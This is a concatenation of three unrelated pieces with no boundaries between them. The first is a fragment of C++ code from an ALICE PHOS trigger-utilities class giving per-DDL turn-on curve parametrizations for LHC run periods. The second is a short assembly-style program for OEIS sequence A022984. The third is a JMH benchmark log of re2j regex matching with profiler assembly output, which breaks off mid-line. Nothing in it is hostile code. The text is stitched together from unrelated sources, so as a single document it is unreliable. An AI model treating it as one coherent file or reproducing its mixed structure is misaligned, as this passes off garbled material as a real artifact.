ddl>19) return 0.; if((fRun>=265015 && fRun<=267166) //LHC16qrst ||(fRun>=252603 && fRun<=264347) //16e (252603) to 16p (264347), using LHC16qrst parametrization ){ switch(ddl){ case 8 : return 9.882274e-01/(TMath::Exp((3.722347e+00-x)/3.297609e-01)+1.)+(1.-9.882274e-01)/(TMath::Exp((7.667186e+00-x)/3.297609e-01)+1.) ; case 9 : return 9.775161e-01/(TMath::Exp((3.674492e+00-x)/3.955892e-01)+1.)+(1.-9.775161e-01)/(TMath::Exp((7.506361e+00-x)/3.955892e-01)+1.) ; case 10 : return 9.805084e-01/(TMath::Exp((3.500669e+00-x)/2.965308e-01)+1.)+(1.-9.805084e-01)/(TMath::Exp((5.523980e+00-x)/2.965308e-01)+1.) ; case 11 : return 9.661089e-01/(TMath::Exp((3.692008e+00-x)/3.036007e-01)+1.)+(1.-9.661089e-01)/(TMath::Exp((6.399218e+00-x)/3.036007e-01)+1.) ; case 12 : return 1.173448e+01/(TMath::Exp((4.053006e+00-x)/4.741089e-01)+1.)+(1.-1.173448e+01)/(TMath::Exp((4.086296e+00-x)/4.741089e-01)+1.) ; case 13 : return 1.459385e+01/(TMath::Exp((4.233308e+00-x)/5.358680e-01)+1.)+(1.-1.459385e+01)/(TMath::Exp((4.259328e+00-x)/5.358680e-01)+1.) ; case 14 : return 8.433754e-01/(TMath::Exp((4.025425e+00-x)/4.795022e-01)+1.)+(1.-8.433754e-01)/(TMath::Exp((4.025742e+00-x)/4.795022e-01)+1.) ; case 15 : return 9.875803e-01/(TMath::Exp((3.822699e+00-x)/5.114879e-01)+1.)+(1.-9.875803e-01)/(TMath::Exp((9.500000e+00-x)/5.114879e-01)+1.) ; case 16 : return 9.971135e-01/(TMath::Exp((3.803769e+00-x)/4.032526e-01)+1.)+(1.-9.971135e-01)/(TMath::Exp((9.500000e+00-x)/4.032526e-01)+1.) ; case 17 : return 9.978138e-01/(TMath::Exp((3.651092e+00-x)/4.440373e-01)+1.)+(1.-9.978138e-01)/(TMath::Exp((8.617820e+00-x)/4.440373e-01)+1.) ; case 18 : return 2.769391e+01/(TMath::Exp((3.782720e+00-x)/7.196449e-01)+1.)+(1.-2.769391e+01)/(TMath::Exp((3.805366e+00-x)/7.196449e-01)+1.) ; case 19 : return 1.613960e+01/(TMath::Exp((4.157584e+00-x)/6.370592e-01)+1.)+(1.-1.613960e+01)/(TMath::Exp((4.185454e+00-x)/6.370592e-01)+1.) ; default : return 0; } } return 0.; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC16qrst(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC16qrst // Note that it is done for DDLs, not modules if(ddl<8 || ddl>19) return 0.; if((fRun>=265015 && fRun<=267166) //LHC16qrst ||(fRun>=252603 && fRun<=264347) //16e (252603) to 16p (264347), using LHC16qrst parametrization ){ switch(ddl){ case 8 : return 9.573766e-01/(TMath::Exp((3.871535e+00-x)/2.876473e-01)+1.)+(1.-9.573766e-01)/(TMath::Exp((7.153766e+00-x)/2.876473e-01)+1.) ; case 9 : return 9.228485e-01/(TMath::Exp((3.798753e+00-x)/2.889749e-01)+1.)+(1.-9.228485e-01)/(TMath::Exp((8.212820e+00-x)/2.889749e-01)+1.) ; case 10 : return 9.737340e-01/(TMath::Exp((3.684112e+00-x)/2.749400e-01)+1.)+(1.-9.737340e-01)/(TMath::Exp((6.193852e+00-x)/2.749400e-01)+1.) ; case 11 : return 9.141516e-01/(TMath::Exp((3.775433e+00-x)/2.522816e-01)+1.)+(1.-9.141516e-01)/(TMath::Exp((5.245370e+00-x)/2.522816e-01)+1.) ; case 12 : return 8.921613e-01/(TMath::Exp((3.881223e+00-x)/2.823943e-01)+1.)+(1.-8.921613e-01)/(TMath::Exp((5.141498e+00-x)/2.823943e-01)+1.) ; case 13 : return 8.513185e-01/(TMath::Exp((3.970404e+00-x)/2.723763e-01)+1.)+(1.-8.513185e-01)/(TMath::Exp((5.808491e+00-x)/2.723763e-01)+1.) ; case 14 : return 9.620960e-01/(TMath::Exp((4.163946e+00-x)/3.106500e-01)+1.)+(1.-9.620960e-01)/(TMath::Exp((8.264108e+00-x)/3.106500e-01)+1.) ; case 15 : return 8.836921e-01/(TMath::Exp((3.968618e+00-x)/2.916503e-01)+1.)+(1.-8.836921e-01)/(TMath::Exp((9.500000e+00-x)/2.916503e-01)+1.) ; case 16 : return 7.232389e-01/(TMath::Exp((3.867679e+00-x)/2.633759e-01)+1.)+(1.-7.232389e-01)/(TMath::Exp((5.822319e+00-x)/2.633759e-01)+1.) ; case 17 : return 8.811230e-01/(TMath::Exp((3.934961e+00-x)/2.731523e-01)+1.)+(1.-8.811230e-01)/(TMath::Exp((7.521001e+00-x)/2.731523e-01)+1.) ; case 18 : return 8.920217e-01/(TMath::Exp((3.741835e+00-x)/2.869366e-01)+1.)+(1.-8.920217e-01)/(TMath::Exp((9.500000e+00-x)/2.869366e-01)+1.) ; case 19 : return 7.797249e-01/(TMath::Exp((3.878770e+00-x)/2.757002e-01)+1.)+(1.-7.797249e-01)/(TMath::Exp((7.344906e+00-x)/2.757002e-01)+1.) ; default : return 0; } } return 0.; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC17pq(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC17pq // Note that it is done for DDLs, not modules if(ddl<8 || ddl>19) return 0.; if((fRun>=282008 && fRun<=282343) //LHC17p ||(fRun>=270531 && fRun<=281961) //17c (270531) to 17o (281961), using LHC17p parametrization ||(fRun>=282504 && fRun<=282704) //17p (282504) to 17p (282704), using LHC17p parametrization ||(fRun>=284891 && fRun<=294925) //18b (284891) to 18p (294925), using LHC17p parametrization ){ switch(ddl){ case 8 : return 7.944762e-01/(TMath::Exp((3.641718e+00-x)/2.650322e-01)+1.)+(1.-7.944762e-01)/(TMath::Exp((4.694861e+00-x)/2.650322e-01)+1.) ; case 9 : return 9.166827e-01/(TMath::Exp((3.517378e+00-x)/2.592677e-01)+1.)+(1.-9.166827e-01)/(TMath::Exp((6.836709e+00-x)/2.592677e-01)+1.) ; case 10 : return 9.530612e-01/(TMath::Exp((3.496633e+00-x)/2.656076e-01)+1.)+(1.-9.530612e-01)/(TMath::Exp((4.780714e+00-x)/2.656076e-01)+1.) ; case 11 : return 8.475332e-01/(TMath::Exp((3.672446e+00-x)/2.545452e-01)+1.)+(1.-8.475332e-01)/(TMath::Exp((4.681494e+00-x)/2.545452e-01)+1.) ; case 12 : return 1.009702e+00/(TMath::Exp((3.789344e+00-x)/3.089832e-01)+1.)+(1.-1.009702e+00)/(TMath::Exp((5.224435e+00-x)/3.089832e-01)+1.) ; case 13 : return 9.043261e-01/(TMath::Exp((3.691091e+00-x)/2.750534e-01)+1.)+(1.-9.043261e-01)/(TMath::Exp((6.038003e+00-x)/2.750534e-01)+1.) ; case 14 : return 9.368423e-01/(TMath::Exp((3.863201e+00-x)/3.307754e-01)+1.)+(1.-9.368423e-01)/(TMath::Exp((6.490584e+00-x)/3.307754e-01)+1.) ; case 15 : return 8.929566e-01/(TMath::Exp((3.650563e+00-x)/2.849078e-01)+1.)+(1.-8.929566e-01)/(TMath::Exp((6.933385e+00-x)/2.849078e-01)+1.) ; case 16 : return 8.097278e-01/(TMath::Exp((3.664689e+00-x)/2.879874e-01)+1.)+(1.-8.097278e-01)/(TMath::Exp((6.285455e+00-x)/2.879874e-01)+1.) ; case 17 : return 7.103594e-01/(TMath::Exp((3.528692e+00-x)/2.930813e-01)+1.)+(1.-7.103594e-01)/(TMath::Exp((5.220063e+00-x)/2.930813e-01)+1.) ; case 18 : return 9.025508e-01/(TMath::Exp((3.406599e+00-x)/3.195572e-01)+1.)+(1.-9.025508e-01)/(TMath::Exp((7.277194e+00-x)/3.195572e-01)+1.) ; case 19 : return 7.898787e-01/(TMath::Exp((3.521535e+00-x)/2.833550e-01)+1.)+(1.-7.898787e-01)/(TMath::Exp((6.468302e+00-x)/2.833550e-01)+1.) ; default: return 0.; } } if(fRun>=282365 && fRun<=282441){ //LHC17q switch(ddl){ case 8 : return 7.670229e-01/(TMath::Exp((3.488723e+00-x)/2.742928e-01)+1.)+(1.-7.670229e-01)/(TMath::Exp((5.059602e+00-x)/2.742928e-01)+1.) ; case 9 : return 8.151913e-01/(TMath::Exp((3.395833e+00-x)/2.143634e-01)+1.)+(1.-8.151913e-01)/(TMath::Exp((4.792992e+00-x)/2.143634e-01)+1.) ; case 10 : return 8.780434e-01/(TMath::Exp((3.448331e+00-x)/2.344344e-01)+1.)+(1.-8.780434e-01)/(TMath::Exp((4.636605e+00-x)/2.344344e-01)+1.) ; case 11 : return 7.220132e+00/(TMath::Exp((3.872164e+00-x)/3.007561e-01)+1.)+(1.-7.220132e+00)/(TMath::Exp((3.893820e+00-x)/3.007561e-01)+1.) ; case 12 : return 5.536853e-01/(TMath::Exp((3.382345e+00-x)/2.497804e-01)+1.)+(1.-5.536853e-01)/(TMath::Exp((4.190075e+00-x)/2.497804e-01)+1.) ; case 13 : return 5.150823e-01/(TMath::Exp((3.342826e+00-x)/1.628658e-01)+1.)+(1.-5.150823e-01)/(TMath::Exp((4.432898e+00-x)/1.628658e-01)+1.) ; case 14 : return 5.384429e-01/(TMath::Exp((3.534127e+00-x)/3.184165e-01)+1.)+(1.-5.384429e-01)/(TMath::Exp((4.565801e+00-x)/3.184165e-01)+1.) ; case 15 : return 7.354045e-01/(TMath::Exp((3.564357e+00-x)/3.220581e-01)+1.)+(1.-7.354045e-01)/(TMath::Exp((5.170461e+00-x)/3.220581e-01)+1.) ; case 16 : return 6.502367e-01/(TMath::Exp((3.582700e+00-x)/3.271896e-01)+1.)+(1.-6.502367e-01)/(TMath::Exp((5.037315e+00-x)/3.271896e-01)+1.) ; case 17 : return 1.164583e+00/(TMath::Exp((4.573204e+00-x)/6.050801e-01)+1.)+(1.-1.164583e+00)/(TMath::Exp((5.757209e+00-x)/6.050801e-01)+1.) ; case 18 : return 2.307368e-01/(TMath::Exp((5.113748e+00-x)/2.183349e-01)+1.)+(1.-2.307368e-01)/(TMath::Exp((3.180296e+00-x)/2.183349e-01)+1.) ; case 19 : return 4.047165e-01/(TMath::Exp((3.188518e+00-x)/1.792187e-01)+1.)+(1.-4.047165e-01)/(TMath::Exp((4.656638e+00-x)/1.792187e-01)+1.) ; default: return 0.; } } return 0.; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC16_AllPeriods_pp_NomB(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC16_AllPeriods_pp_NomB // Note that it is done for DDLs, not modules if(ddl<6 || ddl>19) return 0.; if((fRun>=252603 && fRun<=264347)) { switch(ddl){ case 6 : return 1.000000/(TMath::Exp((3.293659-x)/0.300257)+1.) ; case 7 : return 1.000000/(TMath::Exp((3.225057-x)/0.296558)+1.) ; case 8 : return 1.000000/(TMath::Exp((3.675739-x)/0.304352)+1.) ; case 9 : return 1.000000/(TMath::Exp((3.581623-x)/0.351564)+1.) ; case 10 : return 1.000000/(TMath::Exp((3.499964-x)/0.292469)+1.) ; case 11 : return 1.000000/(TMath::Exp((3.659568-x)/0.321783)+1.) ; case 12 : return 1.000000/(TMath::Exp((3.761906-x)/0.328582)+1.) ; case 13 : return 1.000000/(TMath::Exp((3.819324-x)/0.323223)+1.) ; case 14 : return 1.000000/(TMath::Exp((3.977335-x)/0.362589)+1.) ; case 15 : return 1.000000/(TMath::Exp((3.822134-x)/0.364528)+1.) ; case 16 : return 1.000000/(TMath::Exp((3.916932-x)/0.395685)+1.) ; case 17 : return 1.000000/(TMath::Exp((3.639726-x)/0.294031)+1.) ; case 18 : return 1.000000/(TMath::Exp((3.484064-x)/0.318098)+1.) ; case 19 : return 1.000000/(TMath::Exp((3.690903-x)/0.352889)+1.) ; default : return 0; } } return 0; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC17_AllPeriods_pp_NomB(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC17_AllPeriods_pp_NomB // Note that it is done for DDLs, not modules if(ddl<6 || ddl>19) return 0.; if((fRun>=270531 && fRun<=282704)) { switch(ddl){ case 6 : return 1.000000/(TMath::Exp((3.318585-x)/0.447248)+1.) ; case 7 : return 1.000000/(TMath::Exp((3.198770-x)/0.262867)+1.) ; case 8 : return 1.000000/(TMath::Exp((3.704733-x)/0.310676)+1.) ; case 9 : return 1.000000/(TMath::Exp((3.558862-x)/0.338884)+1.) ; case 10 : return 1.000000/(TMath::Exp((3.471526-x)/0.286054)+1.) ; case 11 : return 1.000000/(TMath::Exp((3.749619-x)/0.379951)+1.) ; case 12 : return 1.000000/(TMath::Exp((3.754319-x)/0.321981)+1.) ; case 13 : return 1.000000/(TMath::Exp((3.796231-x)/0.318930)+1.) ; case 14 : return 1.000000/(TMath::Exp((3.829152-x)/0.348922)+1.) ; case 15 : return 1.000000/(TMath::Exp((3.701741-x)/0.354397)+1.) ; case 16 : return 1.000000/(TMath::Exp((3.923075-x)/0.379417)+1.) ; case 17 : return 1.000000/(TMath::Exp((3.763648-x)/0.355091)+1.) ; case 18 : return 1.000000/(TMath::Exp((3.548465-x)/0.358299)+1.) ; case 19 : return 1.000000/(TMath::Exp((3.788147-x)/0.365565)+1.) ; default : return 0; } } return 0; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC18_AllPeriods_pp_NomB(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC18_AllPeriods_pp_NomB // Note that it is done for DDLs, not modules if(ddl<6 || ddl>19) return 0.; if((fRun>=284706 && fRun<=295232)) { switch(ddl){ case 6 : return 1.000000/(TMath::Exp((3.575078-x)/0.450000)+1.) ; case 7 : return 1.000000/(TMath::Exp((3.189470-x)/0.240028)+1.) ; case 8 : return 1.000000/(TMath::Exp((3.689540-x)/0.303024)+1.) ; case 9 : return 1.000000/(TMath::Exp((3.605620-x)/0.338667)+1.) ; case 10 : return 1.000000/(TMath::Exp((3.526066-x)/0.297271)+1.) ; case 11 : return 1.000000/(TMath::Exp((3.778355-x)/0.351707)+1.) ; case 12 : return 1.000000/(TMath::Exp((3.788625-x)/0.371096)+1.) ; case 13 : return 1.000000/(TMath::Exp((3.748322-x)/0.316871)+1.) ; case 14 : return 1.000000/(TMath::Exp((3.850944-x)/0.364083)+1.) ; case 15 : return 1.000000/(TMath::Exp((3.668605-x)/0.354011)+1.) ; case 16 : return 1.000000/(TMath::Exp((4.006854-x)/0.403765)+1.) ; case 17 : return 1.000000/(TMath::Exp((3.793181-x)/0.320063)+1.) ; case 18 : return 1.000000/(TMath::Exp((3.640159-x)/0.356649)+1.) ; case 19 : return 1.000000/(TMath::Exp((3.691667-x)/0.325194)+1.) ; default : return 0; } } return 0; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC16_AllPeriods_pp_NomB_ReducedEff(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC16_AllPeriods_pp_NomB // Note that it is done for DDLs, not modules if(ddl<6 || ddl>19) return 0.; if((fRun>=252603 && fRun<=264347)) { switch(ddl){ case 6 : return 0.934229/(TMath::Exp((3.306381-x)/0.250361)+1.) ; case 7 : return 0.957842/(TMath::Exp((3.284718-x)/0.301145)+1.) ; case 8 : return 0.700056/(TMath::Exp((3.723025-x)/0.306910)+1.) ; case 9 : return 0.748871/(TMath::Exp((3.620997-x)/0.338691)+1.) ; case 10 : return 0.737519/(TMath::Exp((3.544516-x)/0.304569)+1.) ; case 11 : return 0.570936/(TMath::Exp((3.692454-x)/0.294289)+1.) ; case 12 : return 0.800923/(TMath::Exp((3.778032-x)/0.317753)+1.) ; case 13 : return 0.753642/(TMath::Exp((3.838228-x)/0.304602)+1.) ; case 14 : return 0.760665/(TMath::Exp((4.000237-x)/0.339633)+1.) ; case 15 : return 0.634195/(TMath::Exp((3.774772-x)/0.345190)+1.) ; case 16 : return 0.693850/(TMath::Exp((3.878622-x)/0.372181)+1.) ; case 17 : return 0.788068/(TMath::Exp((3.692379-x)/0.305860)+1.) ; case 18 : return 0.706893/(TMath::Exp((3.526577-x)/0.335254)+1.) ; case 19 : return 0.711471/(TMath::Exp((3.816457-x)/0.450000)+1.) ; default : return 0; } } return 0; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC17_AllPeriods_pp_NomB_ReducedEff(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC17_AllPeriods_pp_NomB // Note that it is done for DDLs, not modules if(ddl<6 || ddl>19) return 0.; if((fRun>=270531 && fRun<=282704)) { switch(ddl){ case 6 : return 1.000000/(TMath::Exp((3.429180-x)/0.393526)+1.) ; case 7 : return 0.883333/(TMath::Exp((3.214355-x)/0.240784)+1.) ; case 8 : return 0.780704/(TMath::Exp((3.733787-x)/0.303791)+1.) ; case 9 : return 0.870982/(TMath::Exp((3.562917-x)/0.291148)+1.) ; case 10 : return 0.760562/(TMath::Exp((3.519599-x)/0.295797)+1.) ; case 11 : return 0.427311/(TMath::Exp((3.735895-x)/0.333977)+1.) ; case 12 : return 0.928067/(TMath::Exp((3.758704-x)/0.323814)+1.) ; case 13 : return 0.818944/(TMath::Exp((3.778075-x)/0.304367)+1.) ; case 14 : return 0.851257/(TMath::Exp((3.851222-x)/0.352732)+1.) ; case 15 : return 0.850209/(TMath::Exp((3.687183-x)/0.352280)+1.) ; case 16 : return 0.750627/(TMath::Exp((3.901273-x)/0.359977)+1.) ; case 17 : return 0.715059/(TMath::Exp((3.802762-x)/0.332321)+1.) ; case 18 : return 0.824653/(TMath::Exp((3.627653-x)/0.425996)+1.) ; case 19 : return 0.717313/(TMath::Exp((3.744328-x)/0.362073)+1.) ; default : return 0; } } return 0; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC18_AllPeriods_pp_NomB_ReducedEff(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC18_AllPeriods_pp_NomB // Note that it is done for DDLs, not modules if(ddl<6 || ddl>19) return 0.; if((fRun>=284706 && fRun<=295232)) { switch(ddl){ case 6 : return 0.000000/(TMath::Exp((1.000000-x)/3.100000)+1.) ; case 7 : return 0.893996/(TMath::Exp((3.269444-x)/0.302399)+1.) ; case 8 : return 0.794809/(TMath::Exp((3.760528-x)/0.316707)+1.) ; case 9 : return 0.747269/(TMath::Exp((3.578636-x)/0.339992)+1.) ; case 10 : return 0.682974/(TMath::Exp((3.523663-x)/0.307008)+1.) ; case 11 : return 0.641487/(TMath::Exp((3.764244-x)/0.318594)+1.) ; case 12 : return 0.842815/(TMath::Exp((3.695465-x)/0.339353)+1.) ; case 13 : return 0.718297/(TMath::Exp((3.711332-x)/0.302959)+1.) ; case 14 : return 0.882216/(TMath::Exp((3.837787-x)/0.340828)+1.) ; case 15 : return 0.825137/(TMath::Exp((3.643524-x)/0.324275)+1.) ; case 16 : return 0.774034/(TMath::Exp((3.982144-x)/0.347221)+1.) ; case 17 : return 0.911440/(TMath::Exp((3.876243-x)/0.329877)+1.) ; case 18 : return 0.897499/(TMath::Exp((3.687409-x)/0.376437)+1.) ; case 19 : return 0.806301/(TMath::Exp((3.790602-x)/0.386806)+1.) ; default : return 0; } } return 0; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC16_AllPeriods_pp_NomB_ReducedEff_BinomialErr(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC16_AllPeriods_pp_NomB // Note that it is done for DDLs, not modules if(ddl<6 || ddl>19) return 0.; if((fRun>=252603 && fRun<=264347)) { switch(ddl){ case 6 : return 0.955170/(TMath::Exp((3.322980-x)/0.273821)+1.) ; case 7 : return 0.952943/(TMath::Exp((3.279470-x)/0.310385)+1.) ; case 8 : return 0.709842/(TMath::Exp((3.737483-x)/0.315181)+1.) ; case 9 : return 0.787072/(TMath::Exp((3.680035-x)/0.379812)+1.) ; case 10 : return 0.748687/(TMath::Exp((3.563684-x)/0.322180)+1.) ; case 11 : return 0.589850/(TMath::Exp((3.728929-x)/0.317628)+1.) ; case 12 : return 0.826383/(TMath::Exp((3.807314-x)/0.333974)+1.) ; case 13 : return 0.785576/(TMath::Exp((3.886090-x)/0.329104)+1.) ; case 14 : return 0.776259/(TMath::Exp((4.031043-x)/0.354897)+1.) ; case 15 : return 0.677404/(TMath::Exp((3.842723-x)/0.378403)+1.) ; case 16 : return 0.718060/(TMath::Exp((3.921810-x)/0.396752)+1.) ; case 17 : return 0.805468/(TMath::Exp((3.720849-x)/0.327723)+1.) ; case 18 : return 0.742997/(TMath::Exp((3.581922-x)/0.378685)+1.) ; case 19 : return 0.729681/(TMath::Exp((3.838737-x)/0.450000)+1.) ; default : return 0; } } return 0; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC17_AllPeriods_pp_NomB_ReducedEff_BinomialErr(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC17_AllPeriods_pp_NomB // Note that it is done for DDLs, not modules if(ddl<6 || ddl>19) return 0.; if((fRun>=270531 && fRun<=282704)) { switch(ddl){ case 6 : return 0.000000/(TMath::Exp((1.000000-x)/3.100000)+1.) ; case 7 : return 0.904798/(TMath::Exp((3.273490-x)/0.325117)+1.) ; case 8 : return 0.806473/(TMath::Exp((3.777493-x)/0.327940)+1.) ; case 9 : return 0.761636/(TMath::Exp((3.592589-x)/0.349054)+1.) ; case 10 : return 0.689397/(TMath::Exp((3.530146-x)/0.310486)+1.) ; case 11 : return 0.651445/(TMath::Exp((3.792621-x)/0.339276)+1.) ; case 12 : return 0.869128/(TMath::Exp((3.722781-x)/0.353535)+1.) ; case 13 : return 0.728896/(TMath::Exp((3.736350-x)/0.322160)+1.) ; case 14 : return 0.900195/(TMath::Exp((3.873177-x)/0.364304)+1.) ; case 15 : return 0.841461/(TMath::Exp((3.663167-x)/0.339142)+1.) ; case 16 : return 0.812884/(TMath::Exp((4.035353-x)/0.372777)+1.) ; case 17 : return 0.902808/(TMath::Exp((3.875744-x)/0.335215)+1.) ; case 18 : return 0.935442/(TMath::Exp((3.737890-x)/0.412344)+1.) ; case 19 : return 0.826923/(TMath::Exp((3.837959-x)/0.424282)+1.) ; default : return 0; } } return 0; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC18_AllPeriods_pp_NomB_ReducedEff_BinomialErr(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC18_AllPeriods_pp_NomB // Note that it is done for DDLs, not modules if(ddl<6 || ddl>19) return 0.; if((fRun>=284706 && fRun<=295232)) { switch(ddl){ case 6 : return 0.000000/(TMath::Exp((1.000000-x)/3.100000)+1.) ; case 7 : return 0.893996/(TMath::Exp((3.269444-x)/0.302399)+1.) ; case 8 : return 0.794809/(TMath::Exp((3.760528-x)/0.316707)+1.) ; case 9 : return 0.747269/(TMath::Exp((3.578636-x)/0.339992)+1.) ; case 10 : return 0.682974/(TMath::Exp((3.523663-x)/0.307008)+1.) ; case 11 : return 0.641487/(TMath::Exp((3.764244-x)/0.318594)+1.) ; case 12 : return 0.842815/(TMath::Exp((3.695465-x)/0.339353)+1.) ; case 13 : return 0.718297/(TMath::Exp((3.711332-x)/0.302959)+1.) ; case 14 : return 0.882216/(TMath::Exp((3.837787-x)/0.340828)+1.) ; case 15 : return 0.825137/(TMath::Exp((3.643524-x)/0.324275)+1.) ; case 16 : return 0.774034/(TMath::Exp((3.982144-x)/0.347221)+1.) ; case 17 : return 0.911440/(TMath::Exp((3.876243-x)/0.329877)+1.) ; case 18 : return 0.897499/(TMath::Exp((3.687409-x)/0.376437)+1.) ; case 19 : return 0.806301/(TMath::Exp((3.790602-x)/0.386806)+1.) ; default : return 0; } } return 0; }
; A022984: 28-n. ; 28,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,-1,-2,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-17,-18,-19,-20,-21,-22,-23,-24,-25,-26,-27,-28,-29,-30,-31,-32 mov $1,28 sub $1,$0
# JMH version: 1.19 # VM version: JDK 1.8.0_131, VM 25.131-b11 # VM invoker: /usr/lib/jvm/java-8-oracle/jre/bin/java # VM options: <none> # Warmup: 20 iterations, 1 s each # Measurement: 20 iterations, 1 s each # Timeout: 10 min per iteration # Threads: 1 thread, will synchronize iterations # Benchmark mode: Throughput, ops/time # Benchmark: com.github.arnaudroger.re2j.Re2jFindRegex.testCombine # Run progress: 0.00% complete, ETA 00:00:40 # Fork: 1 of 1 # Preparing profilers: LinuxPerfAsmProfiler # Profilers consume stdout and stderr from target VM, use -v EXTRA to copy to console # Warmup Iteration 1: 3421.612 ops/s # Warmup Iteration 2: 9214.636 ops/s # Warmup Iteration 3: 9266.575 ops/s # Warmup Iteration 4: 9266.686 ops/s # Warmup Iteration 5: 9266.488 ops/s # Warmup Iteration 6: 9265.533 ops/s # Warmup Iteration 7: 9262.777 ops/s # Warmup Iteration 8: 9187.816 ops/s # Warmup Iteration 9: 9233.015 ops/s # Warmup Iteration 10: 9313.870 ops/s # Warmup Iteration 11: 9318.363 ops/s # Warmup Iteration 12: 9008.314 ops/s # Warmup Iteration 13: 9315.568 ops/s # Warmup Iteration 14: 9296.202 ops/s # Warmup Iteration 15: 9295.572 ops/s # Warmup Iteration 16: 9296.214 ops/s # Warmup Iteration 17: 9327.534 ops/s # Warmup Iteration 18: 8761.738 ops/s # Warmup Iteration 19: 7456.400 ops/s # Warmup Iteration 20: 9299.653 ops/s Iteration 1: 9299.630 ops/s Iteration 2: 9298.574 ops/s Iteration 3: 9302.378 ops/s Iteration 4: 9304.161 ops/s Iteration 5: 9301.039 ops/s Iteration 6: 9302.907 ops/s Iteration 7: 9301.188 ops/s Iteration 8: 9301.096 ops/s Iteration 9: 9266.368 ops/s Iteration 10: 9278.805 ops/s Iteration 11: 8253.764 ops/s Iteration 12: 9283.972 ops/s Iteration 13: 9282.390 ops/s Iteration 14: 9283.751 ops/s Iteration 15: 9283.293 ops/s Iteration 16: 9285.805 ops/s Iteration 17: 9276.439 ops/s Iteration 18: 9279.542 ops/s Iteration 19: 9282.784 ops/s Iteration 20: 9315.554 ops/s # Processing profiler results: LinuxPerfAsmProfiler Result "com.github.arnaudroger.re2j.Re2jFindRegex.testCombine": 9239.172 ±(99.9%) 201.694 ops/s [Average] (min, avg, max) = (8253.764, 9239.172, 9315.554), stdev = 232.271 CI (99.9%): [9037.478, 9440.866] (assumes normal distribution) Secondary result "com.github.arnaudroger.re2j.Re2jFindRegex.testCombine:·asm": PrintAssembly processed: 196559 total address lines. Perf output processed (skipped 23.349 seconds): Column 1: cycles (20617 events) Column 2: instructions (20617 events) Hottest code regions (>10.00% "cycles" events): ....[Hottest Region 1].............................................................................. C2, level 4, com.google.re2j.Machine::match, version 541 (1534 bytes) 0x00007fc83d244fcb: cmp $0x1,%r8d 0x00007fc83d244fcf: je 0x00007fc83d246651 ;*if_icmpeq ; - com.google.re2j.Machine::match@19 (line 186) 0x00007fc83d244fd5: cmp $0x2,%r8d 0x00007fc83d244fd9: je 0x00007fc83d246679 ;*if_icmpne ; - com.google.re2j.Machine::match@24 (line 186) 0x00007fc83d244fdf: mov %r12b,0x10(%r10) ;*putfield matched ; - com.google.re2j.Machine::match@35 (line 190) 0x00007fc83d244fe3: mov 0x28(%r10),%r14d ;*getfield matchcap ; - com.google.re2j.Machine::match@39 (line 191) 0.01% 0x00007fc83d244fe7: mov 0xc(%r12,%r14,8),%ebp ;*arraylength ; - java.util.Arrays::fill@3 (line 2881) ; - com.google.re2j.Machine::match@43 (line 191) ; implicit exception: dispatches to 0x00007fc83d246ed1 0x00007fc83d244fec: test %ebp,%ebp 0x00007fc83d244fee: jg 0x00007fc83d2466a1 ;*if_icmpge ; - java.util.Arrays::fill@7 (line 2881) ; - com.google.re2j.Machine::match@43 (line 191) 0x00007fc83d244ff4: mov 0x8(%rdx),%r8d ; implicit exception: dispatches to 0x00007fc83d246ee1 0x00007fc83d244ff8: mov 0x20(%r10),%ecx ;*getfield q1 ; - com.google.re2j.Machine::match@53 (line 192) 0.00% 0x00007fc83d244ffc: mov 0x1c(%r10),%edi ;*getfield q0 ; - com.google.re2j.Machine::match@47 (line 192) 0x00007fc83d245000: cmp $0xf8019b8e,%r8d ; {metadata(&apos;com/google/re2j/MachineInput$UTF16Input&apos;)} 0x00007fc83d245007: jne 0x00007fc83d246381 0x00007fc83d24500d: mov %rdx,%rbx ;*invokevirtual step ; - com.google.re2j.Machine::match@60 (line 193) 0.00% 0x00007fc83d245010: mov 0xc(%rbx),%edx ;*getfield start ; - com.google.re2j.MachineInput$UTF16Input::step@2 (line 185) ; - com.google.re2j.Machine::match@60 (line 193) 0x00007fc83d245013: mov 0x10(%rbx),%eax ;*getfield end ; - com.google.re2j.MachineInput$UTF16Input::step@9 (line 186) ; - com.google.re2j.Machine::match@60 (line 193) 0x00007fc83d245016: vmovd %xmm0,%r8d 0x00007fc83d24501b: add %edx,%r8d ;*iadd ; - com.google.re2j.MachineInput$UTF16Input::step@5 (line 185) ; - com.google.re2j.Machine::match@60 (line 193) 0x00007fc83d24501e: cmp %eax,%r8d 0x00007fc83d245021: jge 0x00007fc83d2461a5 ;*if_icmpge ; - com.google.re2j.MachineInput$UTF16Input::step@12 (line 186) ; - com.google.re2j.Machine::match@60 (line 193) 0.01% 0x00007fc83d245027: mov 0x14(%rbx),%r13d ;*getfield str ; - com.google.re2j.MachineInput$UTF16Input::step@16 (line 187) ; - com.google.re2j.Machine::match@60 (line 193) 0x00007fc83d24502b: mov 